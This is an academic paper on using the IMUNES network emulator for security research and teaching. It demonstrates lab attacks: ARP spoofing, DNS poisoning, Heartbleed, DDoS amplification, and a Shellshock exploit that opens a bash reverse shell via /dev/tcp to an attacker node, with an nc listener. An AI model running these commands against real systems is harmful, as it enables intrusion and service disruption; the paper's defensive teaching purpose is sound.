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Subject review 
Security attacks are becoming a standard part of the Internet and their frequency is constantly increasing. Therefore, an efficient way to research and 
investigate attacks is needed. Studying attacks needs to be coupled with security evaluation of currently deployed systems that are affected by them. The 
security evaluation and research process needs to be completed quickly to counter the incoming attacks, but this is currently a complex and time-
consuming procedure which includes a variety of systems and tools. Furthermore, as the attack frequency is increasing, new security specialists need to be 
trained in a comprehensible and standardized way. We propose a new approach to security evaluation and research that uses scalable network emulation 
based on lightweight virtualization implemented in IMUNES. This approach provides a unified testing environment that is efficient and straightforward to 
use. The emulated environment also couples as a portable and intuitive training tool. Through a series of implemented and evaluated scenarios we 
demonstrate several concepts that can be used for a novel approach in security evaluation and research. 
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Okolina za istraživanje i podučavanje sigurnosti zasnovana na skalabilnoj emulaciji računalnih mreža 
 
Pregledni članak 
Sigurnosni napadi postaju svakodnevni dio Interneta, a učestalost njihovog izvođenja u stalnom je porastu. Zbog toga je potrebno razviti metodu za 
učinkovito istraživanje i analizu takvih napada. Proučavanje napada potrebno je izvoditi u sprezi s procjenom sigurnosti računalnih sustava na kojima se u 
tom trenutku izvršavaju napadi. Procjena sigurnosti i proces istraživanja moraju se moći obaviti u kratkom vremenu zbog što brže zaštite od dolazećeg 
napada. Trenutno je to kompleksan i vremenski zahtjevan zadatak koji uključuje širok raspon sustava i alata. Također, budući da se učestalost napada 
povećava, novi sigurnosni stručnjaci moraju se obučavati na način koji im je razumljiv i standardiziran. Predlažemo novi pristup procjeni sigurnosti i 
istraživanju koji koristi skalabilnu emulaciju mreže zasnovanu na virtualizaciji korištenoj u alatu IMUNES. Ovakav pristup pruža ujedinjenu okolinu za 
testiranje koja je efikasna i jednostavna za korištenje. Emulirana okolina također može služiti kao prenosiv i intuitivan alat za podučavanje i vježbu. Kroz 
niz implementiranih i analiziranih scenarija, pokazali smo određene koncepte koji se mogu koristiti za novi pristup u procjeni i istraživanju sigurnosti. 
 
Ključne riječi: emulacija računalnih mreža; evaluacija protokola; provjera sigurnosti;  virtualizacija 
 
 
1 Introduction  
 
Network security research and education is currently 
an important area because of the constantly emerging 
security threats in the Internet. Therefore, an efficient way 
of studying those threats is needed. Studying and 
understanding security problems and attacks is easier to 
do with access to real event data, which is usually 
collected by intrusion detection systems, honeypots and 
different network forensic systems [1]. 
The collected event data is then thoroughly analyzed 
and interpreted. After the analysis, the collected data can 
be also used to reproduce the attack in an isolated 
environment. Most of today’s attack scenarios, even the 
unsophisticated ones, involve more than a couple of 
network nodes and that can be quite complex to setup in 
testbed environment. To evaluate and solve security 
problems a researcher needs to have a complete overview 
of the attack and communication state. We have identified 
key features that a security evaluation tool should have to 
be suitable for conducting security testing and education. 
The security evaluation tool needs to provide an 
isolated environment to prevent malware propagation into 
an external network. It should enable reproducible 
experiments with reasonably fast setup and startup times. 
Nevertheless, it should also implement a simple interface 
that can control all network nodes and links included in 
the network setup while enabling live network captures 
that can be mutually correlated and analyzed. To achieve 
that goal, all network nodes need to have a synchronized 
clock and an uncomplicated data collection method. 
An isolated (sandboxed) execution environment can 
be achieved using virtualization. A similar effect could 
also be achieved by using physical equipment but 
managing all the connections and the whole setup would 
be time consuming. A significant advantage of 
virtualization is effortless backup and portability of the 
setup, which is cumbersome to achieve with hardware 
deployments. 
There are three main virtualization technologies, full 
virtualization, para-virtualization and operating system 
level virtualization [2]. Full virtualization (VMware 
player, VirtualBox) needs the largest amount of system 
resources to setup a virtual machine, whereas para-
virtualization (xen [3], kvm [4], VMware ESX [5]) 
leverages the resource cost by directly communicating 
with underlying hardware and thereby eliminates the need 
to use certain virtual drivers and devices. Operating 
system level virtualization (jails [6] on FreeBSD, LXC 
containers [7] and docker [8] on Linux) adds minimal 
overhead to create independent user-space instances and 
represents a lightweight solution that separates running 
processes and usually gives virtual nodes their own copy 
of the network stack. Network emulation is possible when 
those virtual node network stacks can be connected in an 
arbitrary way to form a realistic network environment. 
Operating system level virtualization is also efficient 
from the setup and configuration standpoint and enables 
starting whole networks in a couple of seconds [9]. 
The next requirement for a security evaluation tool is 
a comprehensive overview of the current configuration 
and deployment that enables the control of all network 
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nodes and links included in the setup. That tool should 
also enable network traffic capturing and simple 
correlation of network captures across the whole setup. 
As already mentioned, this is enabled by using a 
synchronized clock which network emulators based on 
operating system level virtualization inherently have, 
since everything in its virtualized environment is bound to 
the same system clock. 
 
 
Figure 1 Security emulation overview 
 
In Fig. 1 the main difference between using physical 
equipment and network emulation tools for security 
evaluation is shown. When physical equipment is used, 
we need to manage and collect data from a distributed 
environment that involves various management and data 
collection tools. Using network emulation enables the 
transition to a more unified environment with a unified 
approach to management and data collection. The 
network emulation approach also enables the management 
of connections between network nodes, which represents 
an advantage upon traditional physical machine setups. 
Emulated setups provide the possibility of migrating 
physical node functionalities to virtual nodes in a way that 
simplifies setup and unifies management by transferring it 
to the network emulation tool. 
Through a series of network security scenarios, we aim 
to show that network emulation is not only a suitable tool 
to evaluate security of networked solutions, but also a 
better alternative to usual fully virtualized and hardware 
solutions because of the advantages it provides. In this 
paper, we have restricted emulated attack scenarios to those 
related to denial of service, man in the middle, information 
leakage and session hijacking on Unix-like operating 
systems (FreeBSD and Linux). Exploits and attacks tightly 
related to operating systems or various application versions 
can also be emulated by using emulation tools on slightly 
different way that is out of the scope of this paper. 
Anyhow, these tools are a valuable asset for showing how 
most of the network related exploits work and provide a 
great way to make security education and research easier. 
This paper is organized as follows: in section 2 we 
provide further motivation for using network emulation as 
a security testing and learning environment. In section 3 a 
couple of security scenarios are described and explained. In 
section 4 we give an evaluation of the proposed platform. 





2 Using network emulation as a testing tool 
 
The landscape of network emulation tools has been 
stable in the last couple of years. An overview of current 
network emulation tools that provide full network 
emulation support, i.e. can communicate with real 
equipment in real-time, was presented in our previous 
work [9]. Network emulation tools combined with the 
processing power and inherent parallelism in current off-
the-shelf hardware enables seamless integration of 
emulated networks with a real-world environment as 
shown in [9][10][11]. Current commodity hardware can 
run numerous services through lightweight operating 
system level virtualization such as LXC containers [7], 
docker [8] and FreeBSD jails [6]. 
Evaluation of security protocols in a non-emulated 
network environment often shows to be cumbersome and 
time consuming because of individual hardware host 
configuration which becomes more complex when the 
number of nodes increases. The main advantages of 
network emulation are: straightforward environment 
setup, ability to store and recreate the same scenario in a 
consistent way, fast and systematic traffic and topology 
overview, simple introduction of network disturbances 
and simple integration into existing network 
environments. 
An emulated network environment is simple to setup 
and modify because it gives a unified overview of the 
current network topology where the interface and address 
lists can be seen immediately and connection 
management and data collection is just a mouse click 
away. Environment startup and shutdown is done in a 
matter of seconds and gives the possibility to quickly 
evaluate and test the emulated environment prototype. A 
key feature is the possibility to recreate an identical 
environment multiple times to thoroughly test the 
prototyped setup. 
The whole emulated environment is stored in one 
topology configuration file and a small number of setup 
scripts. Therefore, it can be easily migrated to different 
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testing machines. It is not possible to achieve this kind of 
portability with non-emulated network setups because all 
disk contents need to be backed up to recreate the same 
scenario. Virtual nodes in emulated networks usually 
solve that problem by having a base template that is given 
to virtual nodes and only the differences from that 
template are stored on the machine running the emulated 
environment. Setup portability coupled with the small 
system footprint of emulated networks facilitates 
education and training because the same testing 
environment can be recreated on student or employee 
computers and serve as a realistic setup for practical 
teaching, e.g. creating a virtual machine with all scenarios 
needed for the education. A sample VirtualBox image that 
can be used to test scenarios shown in this paper is 
provided in [12]. 
Virtual nodes can run routing daemons to enable 
dynamic routing, which is needed to recreate a realistic 
network environment. On top of that, certain emulation 
tools can run all standard applications. This opens the 
possibility to run all services that are part of standard 
computer networks and demonstrate the extent certain 
security attacks have on the network. These services 
include IPv4/IPv6 routing daemons, DHCP and DNS 
servers, HTTP and mail (SMTP, IMAP) servers, firewalls 
and IPsec security gateways. There is also the possibility 
of running live packet captures on each node by using 
well-established tools like tcpdump and Wireshark. This 
enables better insight and control of the communication 
than it would be possible on nodes in a non-emulated 
environment. 
If the network emulation tool supports network traffic 
manipulation it can be used for easier setup of vulnerable 
conditions. This feature is used for testing communication 
corner cases that are hard to reproduce by using 
traditional tools and hardware in a time and resource 
efficient manner. Simulating denial of service attacks 
without generating large amounts of network traffic can 
be done by delaying responses from certain sources. 
Additional traffic manipulations can be done by 
introducing bandwidth limitation, defining packet drops 
by specifying bit-error-rates on links and introducing 
networking disturbances by duplicating packets that pass 
through the emulated environment. 
Since emulation tools can generate real-world and 
real-time network traffic, they can be connected to the 
external network devices by assigning a hardware 
network interface card to the environment. This enables 
connecting additional tools and systems, e.g. specialized 
hardware (traffic generators and analyzers) and different 
machines running various operating systems (Windows, 
OS X, Linux, Unix). In this scenario, network emulation 
simplifies setting up the interconnecting infrastructure 
such as switches, routers, secure gateways and firewalls 
that run on emulated nodes. Also, hardware or software 
specific exploits can be connected to the emulated 
environment directly and interact with the emulated 
network topology. Other operating systems or version 
specific problems can run in a fully virtualized 
environment like VirtualBox and still be connected to the 
emulated network environment that provides the 
malicious traffic and entire network infrastructure. The 
emulated environment makes automation and 
documentation of security scenarios much easier in 
comparison to using a wide variety of systems and 
platforms. 
 
3 Emulated attack scenarios 
 
In this section, several security evaluation scenarios 
are demonstrated by using IMUNES [13], a general-
purpose network emulator. It was primarily chosen as the 
network emulation tool because we are familiar with the 
tool, which enables us to use its resources in the best way 
possible. Also, recent performance results shown in [9] 
confirm that it uses a very efficient traffic-forwarding 
plane. Even though most of the presented usecases do not 
need higher traffic volumes to be executed, our aim is to 
minimize the network emulation overhead impact on 
attack scenarios and their execution. 
IMUNES is a network emulator that runs on the 
FreeBSD and Linux operating systems. On FreeBSD it 
uses efficient zero copy packet forwarding, and network 
stack virtualization in the form of FreeBSD jails [14][15]. 
The communication infrastructure (links, switches and 
hubs) is parallelized by using netgraph, kernel level API 
for traffic manipulation included in the FreeBSD kernel 
[16]. A virtual node emulated in IMUNES can run all 
FreeBSD binaries and Linux applications using 
FreeBSD’s binary application compatibility layer. On 
Linux IMUNES is based on Docker and openvswitch 
tools. All virtual nodes share the same system clock, 
which enables network capture correlation between two 
virtual nodes. If the operating system running IMUNES 
does not support some specific tools needed to mount an 
attack, external virtual or hardware network nodes can be 
connected to the emulated network through the external 
interface tool. 
In the rest of this section we present a couple of 
security scenarios created by using the IMUNES network 
emulator. The presented attack scenarios and scripts with 
the accompanying instructions can be found in a 
dedicated Github repository [17]. 
In the presented scenarios, we show network 
emulation concepts that are used to recreate vulnerable 
conditions and describe how certain attacks are mounted. 
The first scenario shows how to achieve the standard 
Man-in-the-middle attack. It is used to demonstrate how 
to use network emulation for recreating attacks and how 
to monitor attacks on virtual nodes. The second scenario 
shows how to introduce a complex infrastructure into the 
emulated environment and how to use link delay to 
simulate a denial of service attack. The next scenario 
shows how vulnerable applications and custom scripts can 
be introduced into virtual nodes. In the fourth scenario, 
distributed denial of service attacks is analyzed. This 
scenario shows how to build custom scripts that will flood 
the network with large amount of network traffic, which 
will cause packet drops because of the network bandwidth 
limitations imposed. The last scenario shows how to 
introduce secure infrastructure in the form of firewalls, 
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3.1 Recreating a network attack 
 
In this scenario, we show the advantages gained by 
using the clonable network stack which enables 
completely independent traffic processing on virtual 
nodes in the emulated network. We also present how to 
create a reproducible network attack, how to monitor 
network nodes and run live traffic captures to achieve a 
unified scenario overview. 
A Man-in-the-middle network attack is presented as a 
template scenario. The requirements are as follows:  
• A network topology specified in the emulation tool, 
like the one shown in Fig. 2. This topology consists of a 
local network with a PC and Attacker node connected to 
the same router node through a LAN switch.  
• Set of scripts that recreate the scenario and enable the 
Attacker to control all traffic that the PC exchanges with 
the external networks.  
• A platform that enables the creation and execution of 
the topology in real-time with all the needed tools in 
virtual nodes (i.e. hardware or virtual machine running 
FreeBSD with IMUNES installed). 
After the experiment is started the PC node can ping 
the Server, so that the Attacker cannot see or interfere 
with the traffic (this is verified by starting a 
tcpdump/Wireshark capture on the virtual node): 
 
root@PC:/ # ping 10.0.1.10 
PING 10.0.1.10 (10.0.1.10): 56 data bytes 
64B from 10.0.1.10: icmp_seq=0 ttl=63 time=31.434 ms 
64B from 10.0.1.10: icmp_seq=1 ttl=63 time=0.053 ms 
 
The attack is conducted in a local network by 
performing ARP cache poisoning [18] from the attacker 
that wants to intercept traffic (the solid line in Fig. 2). 
Before the attack is conducted the ARP cache on the PC 
is not poisoned: 
 
root@PC:/ # arp -an 
? (10.0.0.1) at 42:00:aa:00:00:02 on eth0 
? (10.0.0.20) at 42:00:aa:00:00:00 on eth0 
 
 
Figure 2 Man-in-the-middle scenario 
 
To poison the ARP cache the attacker sends 
Gratuitous ARP messages [19] to the attacked node(s) so 
that the IP of the default router has the spoofed MAC 
address of the attacker and notifies the default router that 
the PC has the MAC address of the attacker. A 
supplemental script is shown below. The script (mitm.sh) 
uses the himage tool to start arbitrary commands on 
virtual nodes. This is a standard tool included in the 
IMUNES distribution. The arpspoof tool is a part of the 
dsniff [20] collection that is available on FreeBSD and 
can be used on virtual nodes in IMUNES. 
 
% cat mitm.sh 
#!/bin/sh 
 
# enable IP packet forwarding 
himage Attacker sysctl -w net.inet.ip.forwarding=1 
# disable sending IP redirects 
himage Attacker sysctl -w net.inet.ip.redirect=0 
 
# tell the Router that the PC has the Attacker MAC 
himage Attacker arpspoof -i eth0 \ 
    -t 10.0.0.1 10.0.0.20 & 
# tell the PC that the Router has the Attacker MAC 
himage Attacker arpspoof -i eth0 \ 
    -t 10.0.0.20 10.0.0.1 & 
 
After the script is started we can see the change in the 
ARP cache on the PC and Router nodes: 
 
root@PC:/ # arp -an 
? (10.0.0.1) at 00:11:22:33:44:55 on eth0 
? (10.0.0.210) at 00:11:22:33:44:55 on eth0 
? (10.0.0.20) at 42:00:aa:00:00:00 on eth0 
 
root@Router:/ # arp -an 
? (10.0.0.1) at 42:00:aa:00:00:02 on eth0 
? (10.0.0.210) at 00:11:22:33:44:55 on eth0 
? (10.0.0.20) at 00:11:22:33:44:55 on eth0 
 
While this setup is active all traffic between the PC and 
Router will flow through the Attacker (IP - 10.0.0.210, 
MAC - 00:11:22:33:44:55), as shown in the output below. 
Now the traffic flows in as shown by the dashed line in 
Fig. 2. 
 
root@PC:/ # ping 10.0.1.10 
PING 10.0.1.10 (10.0.1.10): 56 data bytes 
64B from 10.0.1.10: icmp_seq=0 ttl=62 time=0.036 ms 
64B from 10.0.1.10: icmp_seq=1 ttl=62 time=0.064 ms 
 
root@Attacker:/ # tcpdump -ni eth0 
IP 10.0.0.20 > 10.0.1.10: ICMP request, seq 0 
IP 10.0.0.20 > 10.0.1.10: ICMP request, seq 0 
IP 10.0.1.10 > 10.0.0.20: ICMP reply, seq 0 
IP 10.0.1.10 > 10.0.0.20: ICMP reply, seq 0 
ARP, Reply 10.0.0.1 is-at 00:11:22:33:44:55 
ARP, Reply 10.0.0.20 is-at 00:11:22:33:44:55 
IP 10.0.0.20 > 10.0.1.10: ICMP request, seq 1 
IP 10.0.0.20 > 10.0.1.10: ICMP request, seq 1 
IP 10.0.1.10 > 10.0.0.20: ICMP reply, seq 1 
IP 10.0.1.10 > 10.0.0.20: ICMP reply, seq 1 
 
The first change that can be seen is that the time to live 
(TTL) value has decreased from 63 to 62. In the tcpdump 
output on the attacker side we can see both the ICMP 
request and reply twice, for the inbound and outbound 
directions. The ARP cache poisoning traffic is also shown 
in the output. 
 
3.2 Infrastructure attacks 
 
Security attacks often depend on infrastructure and 
various services and they are not always achievable 
without additional network nodes or access to the public 
infrastructure. We show that all necessary parts of the 
DNS system hierarchy can run in an emulated network. 
The whole topology is comprised of more than twenty 
network nodes, which demonstrate that complex attack 
scenarios are achievable in the emulated environment. 
Furthermore, we demonstrate how introducing link delay 
that significantly slows down network communication can 
simulate a denial of service attack on a specific node in 
the emulated network. 
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As an example, a DNS spoofing attack on the 
Domain Name System (DNS) [21] infrastructure is 
presented. This is a simplified version of the Kaminsky 
DNS attack [22]. The emulated network topology is 
running various network nodes (routers, DNS servers, 
HTTP servers and end-user PCs) on one physical machine 
within the same unified environment. To deploy such an 
environment in a physical environment the configuration 
would take significantly more time than running a couple 
of shell scripts that are used to deploy the presented 
scenario. It is also possible to run other distributed 
services in the emulated environment, like Public Key 
Infrastructure (PKI) or Lightweight Directory Access 
Protocol (LDAP) infrastructure. All virtual nodes have 
separate file-systems and thus can be used independently 
for recording traffic and logging important data. The 
emulated topology is shown in Fig. 3. 
 
 
Figure 3 DNS spoofing attack scenario 
 
The aim of the implemented attack is to perform DNS 
cache poisoning on the recursive DNS server 
(dnsZpm30.0.0.2) that is used by the pc node. The effect 
is demonstrated by using http servers that also reside in 
the emulated environment. The attacker generates the 
request for the name www.tel.fer.hr on the recursive DNS 
server (dnsZpm) used by the pc. The server then requests 
an answer from the DNS server (dnsTel, 20.0.0.2) that 
serves the tel.fer.hr domain. The attacker needs to craft a 
malicious response and send it to the recursive server 
before the dnsTel server responds to it. In order to do that 
fast enough, a denial of service attack on the dnsTel 
server needs to be simulated to delay the traffic towards 
it. A two second delay is introduced by using the network 
emulation tool and can be seen in Fig. 3. To create the 
valid response, the attacker needs to have access to the 
traffic flowing through the router R9. The malicious 
response has an injected DNS entry that redirects all pc 
traffic destined to www.tel.fer.hr to the RogueServer 
(10.0.11.10). 
 
3.3 Service attacks 
 
Beside the needed infrastructure all networks have 
some underlying services that are used to ensure safe and 
secure delivery of data to their respective clients. These 
services sometimes prove to be the cause of certain 
attacks. Two service attacks are demonstrated using the 
network topology shown in Fig.2. In these scenarios, we 
show how to introduce vulnerable applications and 
custom testing scripts to reproduce a specific service 
attack in the emulated network. The emulated 
environment enables replaying the scenario with the same 
initial conditions, which is relevant for certain attacks that 
rely on data collection and statistical analysis. 
 
3.3.1 TLS Heartbleed 
 
Transport Layer Security (TLS) [23] is a secure 
channel protocol that enables secure communication 
between the communicating parties. In the year 2014 
many problems of the protocol were exposed. These 
problems were mostly connected to improper 
implementation. In this scenario, a vulnerability of a 
badly implemented heartbeat function [24] is shown. 
In the presented scenario, we demonstrate how to 
introduce a vulnerable version of OpenSSL that is used 
only on some network nodes and enables The Heartbleed 
bug [25] exploitation. On the other side, the Attacker 
node is provided a custom python script1, which exploits 
the heartbeat option and shows the chunks of memory that 
are leaked by OpenSSL. 
After the emulated topology and the vulnerable https 
server are started, the heartbleed.sh script copies the 
custom python script and executes it on the Attacker 
node. The output of the execution, which contains the 




A tool to test and exploit the TLS heartbeat 
vulnerability aka heartbleed (CVE-2014-0160) 
############################################## 
Connecting to: 10.0.1.10:443, 1 times 
... 
WARNING: 10.0.1.10:443 - server is vulnerable! 














To successfully extract different chunks of memory 
an https client needs to constantly request new data so that 
OpenSSL conducts new operations by using the secret 
                                                            
1 https://gist.github.com/eelsivart/10174134 
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key, and thus increases the chances for the attacker to 




The bash shell is the standard shell used by all Linux 
systems and most other Unix systems. The Shellshock 
vulnerability [26] enabled an attacker to execute arbitrary 
commands if the bash shell was used as a script that 
accepted user-defined input. In this scenario, we show 
how to deploy the vulnerable bash shell only on certain 
virtual nodes and demonstrate the interactivity that can be 
achieved in the emulated environment. The vulnerable 
environment is configured by exposing bash through a 
Common Gateway Interface (CGI) script running on an 
http server. The vulnerability is exploited by using the 
following custom code that is executed on the attacker 
node: 
 
# fetch -o- -q --user-agent='() { echo ; }; 
echo "Content-type: text/plain"; 
echo ""; echo "`/usr/local/bin/bash -i>& 
 /dev/tcp/10.0.0.210/8080 0>&1`";' 
 http://10.0.1.10/form.sh 
 
After the code is executed the vulnerable bash 
instance will try to connect to the attacker node 
(10.0.0.210) on port 8080. This is usually referred to as a 
reverse TCP shell. For a successful attack the attacker 
must start a TCP listener on the specified port. In our 
environment, this is achieved through a netcat instance 
(nc -l 8080) that waits for the incoming connection. The 
resulting output in the netcat instance after the connection 
is received is shown below. 
 
root@Attacker:/ # nc -l 8080 
root@Server:/ #ps ax 
  PID TT  STAT    TIME COMMAND 
32061 ??SsJ  0:00.00 rpcbind 
32067 ??  IsJ  0:00.00 inetd 
32418 ??  SJ   0:00.00 lighttpd 
32448 ??  SJ   0:00.01 bash /root/www.host/form.sh 
32449 ??  SJ   0:00.00 bash /root/www.host/form.sh 
32450 ??  SJ   0:00.00 /usr/local/bin/bash -i 
32451 ??  RJ   0:00.00 ps ax 
 
3.4 Distributed denial of service attacks 
 
Denial of Service (DoS) attacks are performed by 
flooding the network link with packets or flooding a 
running service with requests. To efficiently perform such 
an attack, attackers often use multiple network nodes that 
will generate the traffic directed to the victim. These 
kinds of attacks are hence called Distributed Denial of 
Service (DDoS). Traffic redirection is done by spoofing 
the source IP address in the malicious packets directed to 
the distributed nodes. In the following two examples, we 
demonstrate how to deploy a larger amount of network 
nodes that will generate high network loads. We also 
show how to create and deploy simple python scripts on 
an attacker node and run traffic replay tools to achieve a 
DDoS attack. DDoS attacks are characterized by slow 
responses and packet drops. In the emulated environment, 
this is achieved by introducing link bandwidth limitations 
on the server uplink. The bandwidth limitation in the 
emulated environment is done in the same manner as in a 
physical setup and is achieved by queuing incoming 
traffic into a network queue that will discard excess 
traffic. 
3.4.1 Smurf attack 
 
Smurf attack [27] is the most basic kind of a DDoS 
attack that can be conducted by using the ICMP protocol. 
This setup needs a network of nodes that reply to ICMP 
echo requests, like the one shown in Fig. 4. In this 
scenario, the Attacker can achieve 17 times more traffic 
(16 PCs and 1 router) than it would by using one node. By 
sending one specifically created packet the attacker 
causes 17 packets to be sent to the Server node. 
To conduct the attack, the attacker sends an ICMP 
echo request to the broadcast address of the local network 
(10.0.0.255) with the spoofed source IP set to 10.0.1.10 
(Server). This attack is demonstrated using scapy [28], a 
tool for manipulating and crafting custom network traffic. 









exit()" > /tmp/script.py 
 
#copy the scapy script to the Attacker 
hcp /tmp/script.py Attacker: 
 
#execute the script 
himage Attacker scapy -c script.py 
 
 
Figure 4 Amplification attacks scenario 
 
Tcpdump on Attacker and Server nodes shows that 
for each packet sent from Attacker, the Server node 
receives 17 packets. 
 
3.4.2 Network Time Protocol amplification attack 
 
Amplification attacks are currently one of the biggest 
threats in the Internet. These attacks have the potential to 
increase the traffic produced by denial of service attack 
up to 20 times. [29] 
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Network Time Protocol (NTP) [30] is used to 
synchronize time between computers over the 
connectionless UDP transport layer protocol. NTP server 
misconfiguration enables the possibility to query the 
server about the last 600 hosts that have been 
synchronized with the server. In this scenario, we show 
how to deploy misconfigured NTP servers that have the 
MONLIST option [31] turned on. The problematic query 
does not need any form of authentication and therefore 
the request can have a spoofed source IP address. This 
enables exploitation of misconfigured NTP servers for 
amplification attacks. 
This attack is conducted on the same network setup 
as the smurf attack in 3.4.1, Fig 4. To recreate a similar 
scenario to the real world we have limited the link 
bandwidth between the Server node and the router to 10 
Mbps. The attack is prepared with the script ntp.sh that 
starts the misconfigured NTP servers. A small scapy 
script is used to prepare the malicious traffic on the 
Attacker node and save it into a packet capture file. This 
packet capture is used by the tcpreplay [32] tool to send a 
greater (up to 100 times more) number of packets than the 
scapy tool, which is used in the smurf attack. The 
possibility to seamlessly transition to different and more 
capable tools demonstrates that the presented emulated 
network environment can run all standard applications 
and represents a flexible building block for recreating 
network attacks. 
After executing the attack pinging the Server from the 
PC node shows a 30 percent packet loss. This represents 
the usual behavior of a Server that is under NTP 
amplification DDoS attack. The output of the ping 
command is shown below: 
 
root@PC:/ # ping 10.0.1.10 
PING 10.0.1.10 (10.0.1.10): 56 data bytes 
64B from 10.0.1.10: icmp_seq=60 ttl=62 time=0.036 ms 
64B from 10.0.1.10: icmp_seq=62 ttl=62 time=0.064 ms 
 
Packets are getting lost in transit because of the 
traffic load the NTP amplification attack is causing. The 
increased load can also cause higher communication 
delays. 
 
3.5 Attacks through secured infrastructure 
 
An important element of deploying and testing 
applications and systems is adding an additional layer of 
security by using security solutions like firewalls, IPsec 
security gateways and intrusion detection systems (IDS). 
This represents the defense in depth concept, which is a 
standard for protecting new and existing systems. In 
network emulation tools, we can introduce such 
mechanisms in a resource efficient manner just by adding 
additional nodes to the emulated topology that will run 
the needed services. In this scenario, we show how to 
deploy additional security layers to the emulated 
environment. 
In Fig 5 we can see a classic demilitarized zone 
(DMZ) setup with the possibility of introducing IPsec 
VPN tunnel connections. The DMZ is created by starting 
a couple of firewalls. In our case, we use the ipfw firewall 
provided in FreeBSD. The idea is to permit only the input 
traffic that is destined to the host node through the 
InboundRouter node. The other part of the setup is 
limiting access to the Intranet network from the DMZ, 
which is achieved by a set of rules on the FW_IPsec node. 




Figure 5 Infrastructure deployment 
 
On the same topology shown in Fig. 5 we can also 
deploy IPsec tunneling from the HomeRouter node to the 
FW_IPsecnode to add Virtual Private Network (VPN) 
access to the PC node. To setup the IPsec tunnel we use 
the strongswan [33] IPsec solution by using previously 
generated certificates. 
An additional level of security infrastructure can be 
added by introducing IDS solutions on additional virtual 
nodes in the form of Snort [34] or Suricata [35]. One IDS 
sensor could be added before the host by adding a hub 
node between the host and the external switch, whereas 
the other IDS sensor could be introduced in the Intranet 
network by replacing the internal switch by a hub. The 
introduction of IDS sensors adds a new level of secure 
infrastructure that helps in the realistic recreation of 
hardware deployment by using a network emulation tool. 
 
4 Emulation platform evaluation 
 
To evaluate the entire emulation platform a series of 
benchmarks were performed on each of the presented 
emulated topologies. To show the scalability and 
efficiency of the platform we measured the following 
properties: topology startup and topology termination 
times, time needed to perform the attack and maximum 
memory and CPU usage during the attack. 
The measurements were performed on two different 
platforms: an off-the-shelf laptop (Intel Core i5-2520M 
CPU, 2 cores at 2.5 GHz, 4 GB of RAM) and a 
commodity workstation (AMD FX-8350 CPU, 8 cores at 
4.00 GHz, 8 GB of RAM). Measurement results are 
shown in Tab. 1, where the letter L represents laptop 
results and the letter W represents workstation results. 
Both testing platforms were running FreeBSD 10.1 
RELEASE and IMUNES as the network emulation tool. 
The startup and termination times show the efficiency 
of the network emulation platform. Even the largest 
scenario that demonstrates the DNS spoofing attack can 
be started and terminated in less than 2 seconds. Attack 
setup time is an approximate value that shows how much 
time is needed to execute the attack with the provided 
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attack scripts. Peak memory usage shows the maximum 
amount of memory that is used when running the 
scenario, whereas peak CPU usage shows the maximum 
CPU usage. While memory usage is minimal for all 
scenarios, CPU usage depends on the type of attack that is 
demonstrated. Denial of service scenario loads is 
substantially higher because of the computing power 
needed to produce a large amount of network traffic, both 
for the attacker and attack victims. The automation 
column specifies whether the attack can be executed 
automatically after the topology is setup or it needs 
additional user intervention before the attack is performed 
and evaluated.  
 
Table 1 Network emulation performance 





time Peak memoryusage 
Peak CPU usage 
(W/L) Automation 
Maninthemiddle 0.30 s / 0.30 s 0.10 s / 0.15 s ∼ 5 s 10 MB 0.1 % / 1.0 % Automated 
DNS spoofing 1.25 s / 1.40 s 0.50 s / 0.50 s ∼ 30 s 184 MB 5 % / 6 % Interactive 
Heartbleed 0.36 s / 0.38 s 0.15 s / 0.19 s ∼ 5 s 15 MB 2 % / 6 % Automated 
Shellshock 0.36 s / 0.38 s 0.15 s / 0.19 s ∼ 30 s 19 MB 1 % / 4 % Interactive 
Smurf 1.03 s / 1.00 s 1.59 s / 0.51 s ∼ 5 s 50 MB 16 % / 45 % Automated 
NTP amplification 1.03 s / 1.00 s 1.59 s / 0.51 s ∼ 30 s 60 MB 82 % / 93 % Interactive 
 
The differences between laptop and workstation 
results are minimal and show the advantage of using 
lightweight virtualization for network emulation. The 
only difference between the two hardware platforms can 
be spotted when running CPU demanding tasks like 
flooding the network with attack traffic. Evaluation 
results also demonstrate the possibility of running 
multiple attack scenarios on one physical machine, which 
can simplify testing and reduce the amount of resources 
needed for research and security evaluation. 
 
5 Related work 
 
Running security scenarios is usually bound to 
starting a couple of virtual or physical machines to 
demonstrate certain vulnerability. This proves to be 
complicated and time consuming. On the other side this 
kind of deployment does not provide the possibility of 
testing out more complicated network deployments that 
include a couple of routers and a dedicated firewall 
machine which prove to be important in certain network 
security scenarios. Certain efforts have been made in this 
area by introducing V-NetLab [36] which gives an 
overview over running virtual machines and simplifies 
their management, but this is still a para-virtualized 
solution which is rather resource demanding. 
The introduction of LigtVN [37] promises better 
performance but the efficiency is still limited to running 
at most twenty network nodes in one deployment on a 
rather capable server machine. Both V-NetLab and 
LightVN have a promising architecture but still cannot be 
deployed in a lightweight and portable manner to enable 
easy setup migration and versioning. Both systems offer 
an extensible lab environment that is unfortunately tied to 
a server machine and could not be deployed inside one 
VirtualBox image in a manner similar to IMUNES [15]. 
While we tried to find a reference implementation of 
LightVN and provide comprehensive test results, there is 
not one that is publicly available. The setup and startup 
speeds and forwarding capacity is given in our previous 
work [9]. 
Another similar approach to the one we present is 
shown in [38] but this approach is limited to large scale 
network security experiments and focused on resource 
allocation in contrast to achieving a portable and 
lightweight network emulation environment that can be 
used for both research and education purposes. 
Other interesting network emulation and security 
coupling approaches are usually tied to specific network 
scenarios instead of directly focusing on general purpose 
network emulation, e.g. evaluation of mobile ad-hoc 
networks under attack [39] and analyzing secure content 
in manets [40] were done by using network emulation in 
CORE [11], a lightweight mobile ad-hoc network 
emulator based on IMUNES. 
On the large-scale network emulation scene Planetlab 
[41] and Emulab [42] offer a service that can be used to 
reproduce certain network scenarios but it does not 
provide a lightweight sandboxed environment where 
malware can be deployed and studied. Apart from that the 
time needed to setup and start a network for such 
purposes is greater than when lightweight network 
emulation tools are used. There are certain tools that use 
full or para-virtualization solutions to start network nodes, 
like MLN [43], Cloonix [44] and GNS3 [45], which 
proves to be slower and reduces the portability of network 
setups because of individual disk images. Solutions based 
on operating system level virtualization like Mininet [46] 
do not give the needed flexibility for running standard 
applications like routing daemons and different services 
inside virtual nodes. These features can be configured but 
require additional configuration compared to tools like 





Network emulation tools create an entire new canvas 
for creating security evaluation, testing and learning 
scenarios. Network emulation greatly improves testing 
scenario integration and deployment by providing a 
unified management system for all network nodes. In the 
implemented practical use cases, we demonstrate the 
efficiency of the solution and determine several concepts 
that can be used to recreate a realistic network 
environment for security scenarios. The portability of the 
presented use cases enables easier security testing and 
paves the way for a comprehensive and accessible 
